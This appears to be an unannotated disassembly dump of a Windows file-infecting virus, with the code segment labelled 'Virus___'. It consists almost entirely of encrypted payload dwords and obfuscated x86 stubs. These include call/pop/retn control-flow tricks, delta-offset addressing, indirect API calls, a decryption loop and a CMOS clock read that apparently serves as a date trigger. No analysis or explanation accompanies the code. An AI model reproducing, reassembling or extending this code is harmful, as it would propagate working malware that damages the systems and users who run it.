0C3564600h dd 0D1B58991h, 57071B15h, 3401B589h, 0FF5B071Bh, 1B09DD95h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 890FF0E2h, 0 ; --------------------------------------------------------------------------- push eax mov bh, 30h mov [esp], esi push 0 push eax call sub_58B5A1 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B5A1 proc near ; CODE XREF: Virus___:0058B599p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_58B5A1 endp ; --------------------------------------------------------------------------- db 0F2h, 0A3h, 9Fh dd 0A64BD1E0h, 0BD232733h, 71B05DDh, 0ABC8B5FFh, 0BD8B071Eh dd 71B1A99h, 21899D8Bh, 95FF071Bh, 71B0341h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0ACC35141h, 0AC536221h dd 5C0D3FA9h, 31BD83E2h, 71B24h, 68840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0D38B44C3h, 9B51F274h, 96F241A1h, 14E8h, 62CA9E00h dd 150069AEh, 0C96785FAh, 92FC9744h, 7BBD70EEh, 0CE9B0h dd 0FF5F0000h, 0F2AE769h, 0FC695236h, 505BD67Ch, 6880F56h dd 0F000000h, 81h, 52965F00h, 78F6FABBh, 0B5FF5F39h, 71EABC8h dd 0AB2BE7BBh, 0A595FF1Eh, 6A071B18h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 6CC9C357h dd 2B559D8Bh, 0B5FF071Bh, 71EABC8h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 37C35040h, 0BF7D9F16h, 6A76F4h dd 293D95FFh, 6A071Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 49636BC3h, 9529027Fh, 71B3149h dd 28F1BD83h, 0F02071Bh, 6B84h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 7D20953Fh dd 8D89AA32h, 71B22ADh, 7D858Bh, 8060071Bh, 958B61CEh dd 71B2B45h, 0C661h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0E7C35747h, 0D24C13B1h, 360B365h, 1B185985h dd 0A99D8907h, 61071B16h, 99185C7h, 71Bh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BD8BA8C3h, 71B05B9h, 6FD70DBBh, 0F2ADE948h, 830FFFFFh dd 5, 33ECB0BFh, 6AC18B78h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 5A4DC357h, 1E336F8Ah dd 0E9FA8B70h, 20h, 23FDA445h, 7 dup(0) ; --------------------------------------------------------------------------- jmp loc_58BD3E ; --------------------------------------------------------------------------- db 0A4h, 5Ah, 81h dd 4E836AE2h, 14C533BDh, 0A37EFD77h, 6FB04800h, 307BA2DCh dd 0FC7417C8h, 430DDE73h, 10D86BB6h, 0BC9033E4h, 6C16A19Ah dd 89A94C3h, 8C6DE7E4h, 965ED651h, 0A5FD14DFh, 0A77EFA6Ah dd 0A365D9FCh, 354D598Dh, 0EF0C0696h, 9FB76890h, 1B1512A0h dd 409C3ED3h, 0AD62CD76h, 8A75270Ah, 8DA3F92Bh, 0D58087AFh dd 0C17E935Bh, 0BC73A64Fh, 3DC6B944h, 439B2BE4h, 7AA754CCh dd 8873E9C5h, 0C8BCDE51h, 0AB6FF388h, 9344B06Bh, 5FA6A0F0h dd 0E39958Ah, 6C2EF306h, 4FC019E2h, 0DF69B077h, 0D848C71Ah dd 1145FA2Fh, 2F8671A3h, 0B38DA3F9h, 7ADA8CBBh, 0ED85F67h dd 421552C6h, 36CF33E5h, 0D3546C4Fh, 0A6459861h, 120DC62Eh dd 0A3B06973h, 73A3778Dh, 885C8EA9h, 5E0193h, 3FF50000h dd 622DE237h, 8DA36655h, 0BC895547h, 0D26D2623h, 0AAD0EC77h dd 9CE8F82h, 0C008481Eh, 93886327h, 166h, 363F4800h, 6BAF3BF3h dd 6EE4E3EEh, 0FB344C85h, 0F629FC09h, 11DA74A6h, 978453F8h dd 0EE048DA3h, 9C03739h, 2A1BE3CFh, 9788A06Ah, 0D40F478Bh dd 9D57F429h, 0C3EFBC51h, 29E63B3Fh, 241BCE37h, 0A960B060h dd 0CC52E51h, 0D86B8313h, 0FC33E410h, 0EA25F604h, 7922F17Ah dd 8DA3665Eh, 7FB0C8E2h, 27BB7685h, 0D21C770Fh, 858D82DAh dd 58680151h, 935C84CCh, 0FA9387C7h, 5Eh, 0E63B3FDCh, 18C13729h dd 9FF73B27h, 0B84B9464h, 45B5C830h, 8DCF4098h, 6655605Bh dd 0D9D58DA3h, 0C811E66Eh, 0FF12DD57h, 0F62BD040h, 5BBB6F39h dd 4EB0E202h, 0A3664295h, 7BACC68Dh, 7AA56FA7h, 159388A8h dd 2Dh, 0E63B3FF9h, 1FC23729h, 0B16893BDh, 8D4DBB76h, 0B16A8E45h dd 363FFC12h, 57652CE3h, 458DA366h, 0A05B81D1h, 0EF9388A5h dd 1, 0E0393FC3h, 14C9352Fh, 33F93E86h, 674667A3h, 0F5A1F5A0h dd 4B90669Dh, 5ECF48B8h, 0FFD80A7Ch, 8DA3F8D8h, 0CE419461h dd 0F82F47F4h, 0AECCFF29h, 9169E394h, 9C3D34Ch, 0A2F02FF2h dd 0FA7E088Ah, 392BE621h, 594B18CDh, 1710C92Fh, 559ED11Dh dd 0EB03D81Eh, 1E333C34h, 2EE30CC6h, 61761916h, 0DC94BF22h dd 0D040FF10h, 1D39F62Bh, 0DE90E929h, 3D0220BCh, 0BEF91AEh dd 0CF0A4A1Ch, 74A95027h, 39C58F5Ch, 0CD392BE4h, 0CE2D2718h dd 0D7241C13h, 0FB1F150Ah, 9444C29Bh, 679853Ch, 4F6651F0h dd 0D394BEB0h, 296B83DBh, 5DEEFFC7h, 40AE84B4h, 0BEECFCDBh dd 530C7C94h, 94BEEC84h, 51D6EE04h, 4DACA6F6h, 738C9790h dd 3A8C6D1Fh, 102h, 4B175A62h, 3114B581h, 0C047D8F6h, 0E6B46F2Dh dd 0E494AE6Ch, 17DF51CEh, 5FA721C2h, 0FB7E088Ah, 52D5E926h dd 1CDB75A7h, 22CA4AFDh, 0DE7236E9h, 9EB3BB76h, 8CD912CDh dd 41D48C6Dh, 86000000h, 7088BF47h, 1BC635AFh, 2FE6D1C3h dd 0B33C098Ah, 0E25484BBh, 0A3649E39h, 1F08220Dh, 0A3657144h dd 58B8600Dh, 0CAC85DD9h, 9892611h, 3E194BBCh, 8DA36597h dd 2514131Bh, 838B7A09h, 0E7000000h, 6F2DC047h, 0AE6DB6B4h dd 9C3E3494h, 202EB440h, 0D156BD9Ah, 9C22A1Ah, 1FF82A7Ah dd 94BEC1B8h, 74012238h, 0EC54F6ABh, 15E153D4h, 30D4FC0h dd 4BAF25F4h, 5ECE9196h, 0AD94BEE6h, 6EE256Dh, 49CE3ECDh dd 980DF6A4h, 5C9BDEE4h, 9F67D956h, 5381D54Ah, 0D5C60D8Bh dd 66A1E425h, 0F7160B0h, 0DEF38154h, 22E5018Dh, 7582CD4Ah dd 162EF306h, 2ACF8519h, 526A38F7h, 0F22E9740h, 0B8B294FEh dd 0C047C7EBh, 0FB46F2Dh, 0D394C364h, 0EC64DBh, 0A09BCDCFh dd 94C36C15h, 8FAE9995h, 0B14639C5h, 0C71FB768h, 0C42E8948h dd 6F8B7807h, 78837DB2h, 5EF26EA1h, 1F599F6h, 39D21AD1h dd 631AE26Ah, 61334B96h, 54CB1EE7h, 1202C97Eh, 0D3FB34E5h dd 0AAA73F61h, 0EEA13046h, 6CA1341Fh, 7F21B1A0h, 0A06D3184h dd 9DB5B1B1h, 659CF4AAh, 0F5A74499h, 6CFDD883h, 717DB1A0h dd 6D5D7823h, 0D1DDB1A0h, 0FD16DE56h, 4B1C07DFh, 6AEC2A8Ah dd 0ACA6F6BDh, 13C62F4Eh, 0B96E861Ch, 0DCEh, 0B36CDE00h dd 0B1A0D724h, 31998EA4h, 353FF10Dh, 0C531231Ch, 0D4251F10h dd 0D51E1609h, 0E911033Ch, 0F109FB34h, 0FA01F32Ch, 8278E827h dd 876EE659h, 53D3DD52h, 0C381E389h, 4, 4EB81h, 1C870000h dd 0C895C24h, 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h dd 53241489h, 0C381E389h, 4, 8704EB83h, 895C241Ch, 0BB53240Ch dd 52FC5096h, 0CF38143h, 8955DC56h, 241C8BDAh, 8304C483h dd 248904ECh, 24048124h, 4, 8BB5359h, 1000000h, 2C8152CBh dd 0E2A7D24h, 81038F02h, 0E2A7D03h, 0C8B5B02h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_542F20 ; --------------------------------------------------------------------------- db 38h ; --------------------------------------------------------------------------- loc_58BD3E: ; CODE XREF: Virus___:0058B800j mov eax, 7200B2Dh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0A1h dd 463821AAh, 4650883Ah, 0ED7E940Dh, 131970A6h, 6871BAF3h dd 0C7450DFAh, 0AF0B23B6h, 4E156A81h, 69780DA8h, 0E010E40Ah dd 3B399234h, 0AD14E6E2h, 9E62D9A7h, 582810BEh, 2224C20Bh dd 0BD748F63h, 2511F3E2h, 4B1B9475h, 0AA65B8C3h, 1A38F690h dd 8A34E9EDh, 2F38D0CDh, 0DA1A1BB8h, 236E30BCh, 8D60FFA4h dd 1B125585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 4C995160h, 0FEE8AB70h, 19BD8BB0h dd 90071B19h, 2810Fh, 0EAB70000h, 78B06050h, 9061FE8Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 7AC35040h dd 3CCF6A96h, 999D8BD0h, 0F071B29h, 0C8Ch, 6830F00h, 0F000000h dd 8Fh, 2B006A00h, 1B27ADBDh, 0A65ABB07h, 6A32CFh, 0DC5BD03h dd 858D071Bh, 7200EA3h, 0E1BD0B60h, 8B071B1Ah, 0C08361D1h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 2B7F681Bh, 4766FC6Bh, 799D2B9Fh, 80071B32h dd 66503CCFh, 89DAE0BBh, 6A2404h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0CCC7AFC3h, 6AF98Bh dd 6AF9BF0Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 8589E474h, 71B28A5h, 1EA995FFh, 6A071Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0DAF7AFC3h, 0F595621Bh, 3521BD33h, 8D8D071Bh, 71E979Ch dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8AC35242h dd 7B110D12h, 6AD1FF54h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0BCD3C357h, 8D0Fh dd 0BD830000h, 71B2105h, 0BA850F01h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0EB9BC353h, 0B5A4BAD2h, 3F925FF4h, 1FD48060h, 6870Fh dd 0B5890000h, 71B2845h, 8FEB8161h, 6A4BFCE4h, 51006A02h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0EA90F9F6h, 7D8D2948h, 50071B22h, 489F88Bh, 11E824h dd 6A5F0000h, 131A6DCEh, 4B9213EFh, 0BDD5BB69h, 0E99D700Eh dd 9, 8D40D9B2h, 38B4E9F8h, 95FF5F1Dh, 71B09DDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 9FC35545h, 8A31DF0Bh dd 0E818C0BFh, 0D62E934h, 0E80000h, 5D000000h, 0EADED81h dd 8B660720h, 53006AFAh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 46A186EDh, 6813ED46h, 9202858Dh dd 6A071Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0E9495EC3h, 10h, 2EA405A0h, 8832DB04h, 4A5F5C58h dd 926A5B5Bh, 0F75BF50h, 4896E16h, 0DEB70F24h, 35FF64h dd 0B7000000h, 25896403h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_58C0A3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C0A3 proc near ; CODE XREF: Virus___:0058C09Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_58C0A3 endp ; --------------------------------------------------------------------------- cmp [ebx-30AD2B0Ah], esi mov ebx, esi mov bx, di sub ebx, 7B2BA243h inc dword ptr [ebp+71B264Dh] mov di, cx push 0FFFFFFFFh mov edi, [ebp+71B12E5h] push dword ptr [ebp+71B18E9h] mov [ebp+71B012Dh], edi call dword ptr [ebp+71B2F45h] jmp loc_58C23C ; --------------------------------------------------------------------------- jmp loc_58C104 ; --------------------------------------------------------------------------- db 63h, 12h, 4Ch dd 6DDEA323h, 0FD29DD2Ah, 0C092E6D3h, 4FB6B59Eh ; --------------------------------------------------------------------------- loc_58C104: ; CODE XREF: Virus___:0058C0ECj mov bx, 3652h mov al, 0 sbb di, 0F4B4h out 70h, al ; CMOS Memory: ; used by real-time clock mov [ebp+71B27F9h], ecx in al, 71h ; CMOS Memory xor [ebp+71B0A31h], edx add [ebp+71B1FCDh], esi cmp al, 61h jnb loc_58C23C jge loc_58C139 or [ebp+71B2831h], edi loc_58C139: ; CODE XREF: Virus___:0058C12Dj movzx ecx, al mov edx, 6 mov [ebp+71B1B6Dh], eax mov eax, ecx shr eax, 4 mov [ebp+71B35DDh], esi push ecx and bl, 18h pop ebx mul dx or [ebp+71B0D9Dh], esi jl loc_58C169 mov di, cx loc_58C169: ; CODE XREF: Virus___:0058C160j sub ecx, eax movzx ebx, dx mov edx, ecx mov bx, 0F5B3h jmp loc_58C23C ; --------------------------------------------------------------------------- db 0E8h, 0Eh, 0 dd 115F0000h, 0FB36F675h, 28350AE1h, 7A13F7AEh, 14E960h dd 1A270000h, 12863CE5h, 2B5DCF71h, 93592911h, 0D05E3A6Ah dd 810F0960h, 0 ; --------------------------------------------------------------------------- popa pop ebx mov eax, [ebp+505F4C4Ch] mov edi, [ebp+71B3379h] add eax, 7 jg $+6 add eax, 0 mov ebx, edi cmp edx, eax jnb loc_58C203 mov ebx, [ebp+71B1BA5h] jmp loc_58C23C ; --------------------------------------------------------------------------- db 31h dd 1B1A8DB5h, 12E807h, 0A73A0000h, 9F91279Ch, 0F14C48CEh dd 0CCE47AD3h, 6AFE421Fh, 2CC08160h, 8B2378AAh ; --------------------------------------------------------------------------- stc popa pop ebx loc_58C203: ; CODE XREF: Virus___:0058C1CAj mov ecx, [ebp-1] mov edi, 1AC745Ch and ecx, 1 jz loc_58C23C cld and dword ptr [ebp-1], 0FFFFFFFEh add [ebp+71B310Dh], esi mov [ebp+505F4C4Ch], edx jnb loc_58C237 sub [ebp+71B0905h], edx loc_58C237: ; CODE XREF: Virus___:0058C22Bj jmp $+5 loc_58C23C: ; CODE XREF: Virus___:0058C0E7j ; Virus___:0058C127j ... lea esi, [ebp+71F8A47h] push 0 push edx call sub_58C24D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C24D proc near ; CODE XREF: Virus___:0058C245p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_58C24D endp ; --------------------------------------------------------------------------- aZuhOqorlabJ db 'ZîhØoQŽR‹',0Bh,1Bh,7,'j',0 ; --------------------------------------------------------------------------- jmp loc_58C27F ; --------------------------------------------------------------------------- dw 6D31h dd 9FB9D6D3h, 12945FA6h ; --------------------------------------------------------------------------- cmpsd and al, 91h loc_58C27F: ; CODE XREF: Virus___:0058C26Dj call dword ptr [ebp+71B1289h] mov [ebp+71B18EDh], ebx mov ecx, 1119h sub edi, 339DF0F2h and ecx, 0FFFFFFFCh push 0 push esi call sub_58C2A4 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C2A4 proc near ; CODE XREF: Virus___:0058C29Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_58C2A4 endp ; --------------------------------------------------------------------------- dd 0FCC71FF7h, 0B8DABF0Fh, 0 ; --------------------------------------------------------------------------- movsx edi, dx sub edx, edx push 0 push ecx call sub_58C2D0 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C2D0 proc near ; CODE XREF: Virus___:0058C2C8p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_58C2D0 endp ; --------------------------------------------------------------------------- and al, [edx-7DAB97F6h] mov [ebp+71B1445h], ecx loc_58C2EC: ; CODE XREF: Virus___:0058C2F6j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_58C2EC clc movzx ebx, cx or eax, 88h xor bx, 6C7Ah mov edx, [ebp+71B29B5h] mov [ebp+71B22C5h], esi mov ecx, [ebp+71B02F5h] push 0 push ecx call sub_58C323 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C323 proc near ; CODE XREF: Virus___:0058C31Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_58C323 endp ; --------------------------------------------------------------------------- db 84h dd 796D2728h, 5D9D33ECh, 50071B27h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 12E958h, 0E1680000h, 0B86A19F9h dd 26EFA0B5h, 20E74FB9h, 0AC1AFCDFh, 10DB589h, 0BD83071Bh dd 71B2165h, 0A9840F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0AD2AC352h dd 0BE9h, 16F48600h, 0B607E62Eh, 0B8783869h, 0B8h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 9589A7EFh, 71B0329h, 4F898D8Dh, 67B3071Bh, 6AE1FFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 6A0E37C3h, 56502D57h, 8BE46CD9h, 1B30359Dh, 13E807h dd 64EF0000h, 0C8790131h, 28B634C0h, 0B4BD2B19h, 8ED918ACh dd 358D894Ah, 5F071B35h, 18CDBD83h, 0F00071Bh, 46C84h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 7C5A27BFh, 99E57994h, 6E80838h, 0B1000000h dd 0A0362D35h, 61606066h, 890Fh, 5B610000h, 18CDBD83h dd 0F01071Bh, 43F84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 8CC93F05h, 8589262Bh dd 71B00F5h, 1685BD8Bh, 0BD83071Bh, 71B18CDh, 0CF860F03h dd 6A000003h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0F1CCC350h, 605F5753h, 316C1EBBh dd 0D98C6620h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 5FC35040h, 0BD8B1294h, 71B0D91h, 21DD8501h, 0E180071Bh dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 98D0179h, 0A071B0Ah, 3F840FC9h, 3000001h dd 1B24119Dh, 0E5858B07h, 6A071B30h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F615C355h dd 43945E96h, 558533B4h, 6A071B30h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0BB94C350h dd 8BA5C996h, 1B189DBDh, 0AEF8107h, 50579A6Fh, 9B35250h dd 8B66310Fh, 89585AD9h, 6A2404h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 5AE2E9C3h, 13E9h, 698F4C00h dd 16B7BA17h, 0A18A2C1Fh, 0B46EAC22h, 8D905287h, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 4C9794C3h, 0D4AC136h, 0B70F2B39h, 0DE0C68D8h, 8B6089BEh dd 0CB8B66DFh, 24048161h, 766025F3h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0C5C35545h, 0BD8B310Ah, 71B3349h dd 4E995FFh, 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 9F5244C3h, 85895299h, 71EABC8h dd 890Fh, 0B7E90000h, 80000001h, 858B7DDFh, 71EABC0h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C4C35343h, 1C525B23h dd 181BAB1h, 1B251DB5h, 1800C707h, 8B000000h, 1B31159Dh dd 0C4B58B07h, 6A071EABh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 9210C355h, 0FF3795Ah dd 68Ah, 0EDBD2B00h, 8B071B2Ah, 1B014985h, 0AD9D8B07h dd 89071B23h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 1EEDF377h, 0E176D44Ah, 0FDF3BB66h dd 30E5858Bh, 6A071Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0FF124C3h, 1485h, 0FE900h, 94160000h dd 1ED562DBh, 7C09C9E2h, 454A89ADh, 446892Eh, 5B04B751h dd 8B666050h, 348961CEh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 9B2F7172h, 0ABC0B5FFh dd 0BD29071Eh, 71B1F3Dh, 4E8h, 1F03FF00h, 12E95000h, 65000000h dd 0F9684534h, 0F0E22F82h, 0A7BCD393h, 0E340CF3Eh, 8B505FC2h dd 8B042444h, 24448900h, 58FE8A04h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 64C35141h, 0ABC8858Dh, 0EE9071Eh dd 6B000000h, 0CF9E3AAAh, 0AD4039A0h, 13571085h, 0BF0F56DAh dd 0E8505FF9h, 0Eh, 0C6C6A056h, 76CEE51Ch, 0DBE2F02Bh dd 0DE8BAA60h, 2404895Bh, 5E9h, 0DF56EE00h, 95FFBF92h dd 71B04E9h, 1BED9589h, 2961071Bh, 1B285585h, 0CD85C707h dd 3071B18h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0F703C353h, 0E7DD70CEh dd 8D9D8B1Eh, 83071B2Dh, 1EABC8BDh, 840F0007h, 16h, 0CCC38166h dd 1EDF8135h, 0E9371D08h, 21h, 4D9D8Bh, 3050071Bh, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 2BBF66C0h dd 55006A9Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0CD65CCAAh, 0FCBC9E4h, 18CDBD83h, 0F03071Bh dd 41785h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 759D8B42h, 83071B09h, 1EABC8BDh dd 840F0007h, 3E8h, 818D8B60h, 31071B0Dh, 1B1C7995h, 0B5FF6107h dd 71EABC8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 3BC35040h, 45BD8BE4h, 0FF071B27h, 1B09A595h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 95C641ADh, 0E6C1BAF1h, 0CB815020h, 53AA135Ch, 0BCB58B5Fh dd 0F9071EABh, 106C7h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0E1E94FC3h, 0F43F9A28h dd 6620F059h, 0E996FA8Bh, 0Eh, 0D3A9B8BEh, 0B6800B92h dd 0E676532Ch, 5050FC1Fh, 8B525052h, 60310FDFh, 0F585A61h dd 0BF525031h, 7F033FCFh, 0FE8310Fh, 0E5000000h, 0D4193BACh dd 51CB2B9Fh, 470ECA52h, 5A5B1DB7h, 96585A58h, 17DD9D8Bh dd 0B5FF071Bh, 71EABC8h, 356195FFh, 6A071Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 68DFECC3h dd 0F98AA3D3h, 5E9h, 0D0B60C00h, 0B58B2E48h, 71EABBCh dd 858B5F56h, 71B0411h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0E5C35343h, 17644588h, 0BF6623CFh, 8689B4CAh dd 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 7DC35141h, 0C58D3121h, 8B071B30h, 1B29B595h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0EC53A249h, 83B00790h, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0F4CF92C3h, 982A6629h dd 0B7242229h, 880F605Ch, 1, 0F58D29F5h, 61071B35h, 89205089h dd 1B089D8Dh, 0F9858D07h, 0F071EBFh, 8689FABFh, 0B8h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0BEC35141h, 6A29BDh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DCC35343h dd 0B5FFF824h, 71EABC8h, 28D5BD89h, 0F380071Bh, 0DD95FFA4h dd 8B071B09h, 1B09D59Dh, 3EBF5007h, 897FC7F0h, 95012434h dd 71B2ED9h, 0ABC8B5FFh, 820F071Eh, 16h, 0AE8h, 198CD700h dd 0DB3B86C7h, 8B01D4FBh, 1B0425BDh, 95FF5B07h, 71B0341h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C4C35343h dd 21BBA73h, 31BD833Bh, 71B24h, 29840Fh, 0DC8A0000h, 24348950h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4C35343h dd 0A051A936h, 0FF826A2Bh, 1EABC8B5h, 5E807h, 6FF10000h dd 0E9663470h, 0Eh, 5E36F3CAh, 0DE16E434h, 0D723602Ah dd 0FF5B107Ah, 1B18A595h, 0C8B5FF07h, 66071EABh, 8B7620BFh dd 1B358DBDh, 3D95FF07h, 6A071B29h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 9FCCC355h dd 83649093h, 1B28F1BDh, 840F0207h, 75h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 17h, 0EFC35242h, 8BB0716Dh dd 1B007D85h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 1A22CFB0h, 9C19D8Bh, 0C6071Bh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 6860FE1h, 8B000000h, 1B16EDBDh, 9185C707h, 71B09h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0A4F7C355h, 0FFF3A8E9h, 51006AFFh, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0BA518347h, 66B06021h, 0FABF0F33h, 6AC18Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 2D0DF6C3h, 0EB8144BEh, 3D7E2AE5h, 1255858Dh, 0DF8B071Bh dd 32ACBB50h, 4897B05h, 12E95024h, 32000000h, 6136AC2Ah dd 0F4259CADh, 5F23684Fh, 2C8B1F0Bh, 6A5B56h, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 8E0F44C3h, 6, 0A799589h, 858D071Bh, 7201D7Dh, 1459BD33h dd 0C083071Bh, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 91A609C3h, 60565008h dd 473EBE66h, 5F616160h, 80240489h, 6A8AD7h, 142D9589h dd 2DBF071Bh, 6A6CF369h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 76F0DF04h, 95FFF9B5h dd 71B1EA9h, 24598D01h, 8D8D071Bh, 71E979Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 1FC35646h, 4F70706Bh dd 0C54FE734h, 8BD1FFC3h, 1B00459Dh, 5BD8307h, 1071B21h dd 61850Fh, 0BE90000h, 4A000000h, 0A61F500Ch, 69F162DFh dd 26A0991h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0F5C35141h, 0FB8B2208h, 9CBB6650h, 240489BAh, 5721B9BBh dd 0DD95FF05h, 6A071B09h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0E949C352h, 0E7Dh 